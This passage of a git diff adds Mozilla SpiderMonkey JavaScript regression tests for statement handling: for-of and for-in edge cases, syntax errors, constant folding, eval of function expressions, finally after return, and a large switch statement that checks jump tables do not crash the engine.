+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ for (let x of obj) {
+ }
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/statements/for-of-var-with-initializer.js b/js/src/tests/non262/statements/for-of-var-with-initializer.js
new file mode 100644
index 0000000000..ae42e153b3
--- /dev/null
+++ b/js/src/tests/non262/statements/for-of-var-with-initializer.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-of-var-with-initializer.js";
+var BUGNUMBER = 1164741;
+var summary = "Don't assert parsing |for (var x = 3 of 42);|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ Function("for (var x = 3 of 42);");
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/if-constant-folding.js b/js/src/tests/non262/statements/if-constant-folding.js
new file mode 100644
index 0000000000..0486ad56f6
--- /dev/null
+++ b/js/src/tests/non262/statements/if-constant-folding.js
@@ -0,0 +1,35 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "if-constant-folding.js";
+var BUGNUMBER = 1183400;
+var summary =
+ "Don't crash constant-folding an |if| governed by a truthy constant, whose " +
+ "alternative statement is another |if|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Perform |if| constant folding correctly when the condition is constantly
+// truthy and the alternative statement is another |if|.
+if (true)
+{
+ assertEq(true, true, "sanity");
+}
+else if (42)
+{
+ assertEq(false, true, "not reached");
+ assertEq(true, false, "also not reached");
+}
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/property-reference-self-assignment.js b/js/src/tests/non262/statements/property-reference-self-assignment.js
new file mode 100644
index 0000000000..81c95b9cfb
--- /dev/null
+++ b/js/src/tests/non262/statements/property-reference-self-assignment.js
@@ -0,0 +1,38 @@
+var hits = 0;
+
+var p = { toString() { hits++; return "prop" } };
+var obj = { foo: 1 };
+
+
+var ops = [["obj[p]++", 2],
+ ["++obj[p]", 2],
+ ["--obj[p]", 0],
+ ["obj[p]--", 0],
+ ["obj[p] += 2", 3],
+ ["obj[p] -= 2", -1],
+ ["obj[p] *= 2", 2],
+ ["obj[p] /= 2", 0.5],
+ ["obj[p] %= 2", 1],
+ ["obj[p] >>>= 2", 0],
+ ["obj[p] >>= 2", 0],
+ ["obj[p] <<= 2", 4],
+ ["obj[p] |= 2", 3],
+ ["obj[p] ^= 2", 3],
+ ["obj[p] &= 2", 0]];
+
+var testHits = 0;
+for (let op of ops) {
+ // Seed the value for each test.
+ obj.prop = 1;
+
+ // Do the operation.
+ eval(op[0]);
+ assertEq(obj.prop, op[1]);
+
+ // We should always call toString once, for each operation.
+ testHits++;
+ assertEq(hits, testHits);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/statements/regress-131348.js b/js/src/tests/non262/statements/regress-131348.js
new file mode 100644
index 0000000000..f21b7dc3cf
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-131348.js
@@ -0,0 +1,147 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 Apr 2002
+ * Revised: 14 July 2002
+ *
+ * SUMMARY: JS should NOT error on |for(i in undefined)|, |for(i in null)|
+ *
+ * ECMA-262 3rd Edition Final spec says such statements SHOULD error. See:
+ *
+ * Section 12.6.4 The for-in Statement
+ * Section 9.9 ToObject
+ *
+ *
+ * But SpiderMonkey has decided NOT to follow this; it's a bug in the spec.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=131348
+ *
+ * Update: Rhino has also decided not to follow the spec on this
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=136893
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 131348;
+var summary = 'JS should not error on |for(i in undefined)|, |for(i in null)|';
+var TEST_PASSED = 'No error';
+var TEST_FAILED = 'An error was generated!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+
+status = inSection(1);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+try
+{
+ for (var i in undefined)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(2);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+try
+{
+ for (var i in null)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(3);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+/*
+ * Variable names that cannot be looked up generate ReferenceErrors; however,
+ * property names like obj.ZZZ that cannot be looked up are set to |undefined|
+ *
+ * Therefore, this should indirectly test | for (var i in undefined) |
+ */
+try
+{
+ for (var i in this.ZZZ)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(4);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+/*
+ * The result of an unsuccessful regexp match is the null value
+ * Therefore, this should indirectly test | for (var i in null) |
+ */
+try
+{
+ for (var i in 'bbb'.match(/aaa/))
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-157509.js b/js/src/tests/non262/statements/regress-157509.js
new file mode 100644
index 0000000000..d80ae7ddcc
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-157509.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 15 July 2002
+ * SUMMARY: Testing for SyntaxError on usage of '\' in identifiers
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=157509
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 157509;
+var summary = "Testing for SyntaxError on usage of '\\' in identifiers";
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+expect = TEST_PASSED;
+actual = TEST_FAILED_BADLY;
+/*
+ * OK, this should generate a SyntaxError
+ */
+try
+{
+ eval('var a\\1 = 0;');
+}
+catch(e)
+{
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-194364.js b/js/src/tests/non262/statements/regress-194364.js
new file mode 100644
index 0000000000..e907b8985f
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-194364.js
@@ -0,0 +1,115 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 21 February 2003
+ * SUMMARY: Testing eval statements containing conditional function expressions
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=194364
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 194364;
+var summary = 'Testing eval statements with conditional function expressions';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ From ECMA-262 Edition 3, 12.4:
+
+ 12.4 Expression Statement
+
+ Syntax
+ ExpressionStatement : [lookahead not in {{, function}] Expression ;
+
+ Note that an ExpressionStatement cannot start with an opening curly brace
+ because that might make it ambiguous with a Block. Also, an ExpressionStatement
+ cannot start with the function keyword because that might make it ambiguous with
+ a FunctionDeclaration.
+*/
+
+status = inSection(1);
+actual = eval('(function() {}); 1');
+expect = 1;
+addThis();
+
+status = inSection(2);
+actual = eval('(function f() {}); 2');
+expect = 2;
+addThis();
+
+status = inSection(3);
+actual = eval('if (true) (function() {}); 3');
+expect = 3;
+addThis();
+
+status = inSection(4);
+actual = eval('if (true) (function f() {}); 4');
+expect = 4;
+addThis();
+
+status = inSection(5);
+actual = eval('if (false) (function() {}); 5');
+expect = 5;
+addThis();
+
+status = inSection(6);
+actual = eval('if (false) (function f() {}); 6');
+expect = 6;
+addThis();
+
+status = inSection(7);
+actual = eval('switch(true) { case true: (function() {}) }; 7');
+expect = 7;
+addThis();
+
+status = inSection(8);
+actual = eval('switch(true) { case true: (function f() {}) }; 8');
+expect = 8;
+addThis();
+
+status = inSection(9);
+actual = eval('switch(false) { case false: (function() {}) }; 9');
+expect = 9;
+addThis();
+
+status = inSection(10);
+actual = eval('switch(false) { case false: (function f() {}) }; 10');
+expect = 10;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-226517.js b/js/src/tests/non262/statements/regress-226517.js
new file mode 100644
index 0000000000..409e13ae1c
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-226517.js
@@ -0,0 +1,75 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Dec 2003
+ * SUMMARY: |finally| statement should execute even after a |return|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=226517
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 226517;
+var summary = '|finally| statement should execute even after a |return|';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * We can only use a return statement within a function.
+ * That makes the testcase more complicated to set up -
+ */
+function f()
+{
+ var return_expression_was_calculated = false;
+ try
+ {
+ return (return_expression_was_calculated = true);
+ }
+ finally
+ {
+ actual = return_expression_was_calculated;
+ }
+}
+
+
+status = inSection(1);
+f(); // sets |actual|
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-302439.js b/js/src/tests/non262/statements/regress-302439.js
new file mode 100644
index 0000000000..a94bfa8eec
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-302439.js
@@ -0,0 +1,1335 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 302439;
+var summary = 'spandep fu should skip unused JSOP_TABLESWITCH jump table entries';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function productList(catID,famID) {
+ clearBox(document.Support_Form.Product_ID);
+
+ switch(parseInt(catID)) {
+
+ case 1 : // Sound Blaster
+ switch(parseInt(famID)) {
+
+ case 434 : // Audigy 4
+ break;
+
+ case 204 : // Audigy 2
+ break;
+
+ case 205 : // Audigy
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy Platinum eX', '45'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy Platinum', '4846'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy LS (SE)', '10365'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy Digital Entertainment', '5085'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy ES', '5086'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 206 : // Live!
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! 24-bit External', '10702'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live! MP3+ 5.1', '573'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! 5.1', '50'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Digital Entertainment 5.1 (SE)', '4855'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Platinum 5.1', '572'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live! 5.1 Digital (Dell)', '1853'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Platinum', '3203'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live! Value', '4856'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live!', '4857'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 207 : // Others
+ try { addBoxItem(document.Support_Form.Product_ID, 'Extigy', '585'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Ensoniq AudioPCI', '420'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCI4.1 Digital', '681'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Vibra128 4D', '9032'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Digital Music', '154'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Vibra 128', '4851'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster 32', '1844'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SB AWE64 Digital', '1821'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SB PCI 5.1', '1828'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster\u00AE', '1841'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster\u00AE 16', '1842'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster 16 Wave Effects', '1843'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster AWE32', '1848'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster AWE64', '1849'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster AWE64 Gold', '1850'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Microchannels', '1861'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster PCI 128', '1864'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster PCI 64', '1865'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Pro', '1866'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Audio PCI', '1559'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 16 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live!Drive II', '9278'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster MIDI Adapter', '251'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mini to Standard MIDI Adapter', '252'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 210 : // Portable Media Players
+ switch(parseInt(famID)) {
+
+ case 211 : // Zen
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Portable Media Center', '9882'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 212 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Docking Station', '10756'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Li-ion Polymer Battery', '10679'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC FM Wired Remote', '10663'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 213 : // MP3 Players
+ switch(parseInt(famID)) {
+
+ case 214 : // Zen
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Touch', '10274'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Micro', '10795'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen', '11519'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Xtra', '9288'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen NX', '4836'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen USB 2.0', '9019'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Zen', '117'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 215 : // MuVo
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Micro N200', '10737'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo\u00B2 X-Trainer', '5080'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Slim', '10052'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Sport C100', '10794'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo V200', '10732'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo TX FM', '9771'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo USB 2.0', '10919'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo', '110'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo NX', '4884'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo\u00B2', '4908'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo TX', '9672'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 216 : // Digital MP3 Player
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Xtra', '9288'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Rhomba NX', '10302'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player FX120', '11010'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DXT 200', '4996'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen USB 2.0', '9019'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Jukebox 3', '296'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative CD-MP3 Slim 600', '1582'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen NX', '4836'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player', '4983'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player 2', '4984'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player MX', '4985'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Zen', '117'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'JukeBox 2', '239'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD JukeBox', '241'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD JukeBox C', '242'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Jukebox 10GB', '261'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative CD-MP3 M100', '264'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 217 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Micro Battery', '11215'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Universal Travel Adapter for Zen Micro', '11711'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Stik-On', '12982'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Universal Travel Adapter', '12979'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case', '11511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Leather Case', '12978'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Home Kit - Jukebox 3', '497'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox 3 Leather Case', '498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Faceplates - Jukebox 3', '499'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Armband', '511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'NOMAD II MG Wired Remote', '515'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Accessory Kit', '533'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Charger Kit', '538'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Pack', '539'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'NOMAD II MG Travel Cable', '560'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case - Jukebox 2', '562'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
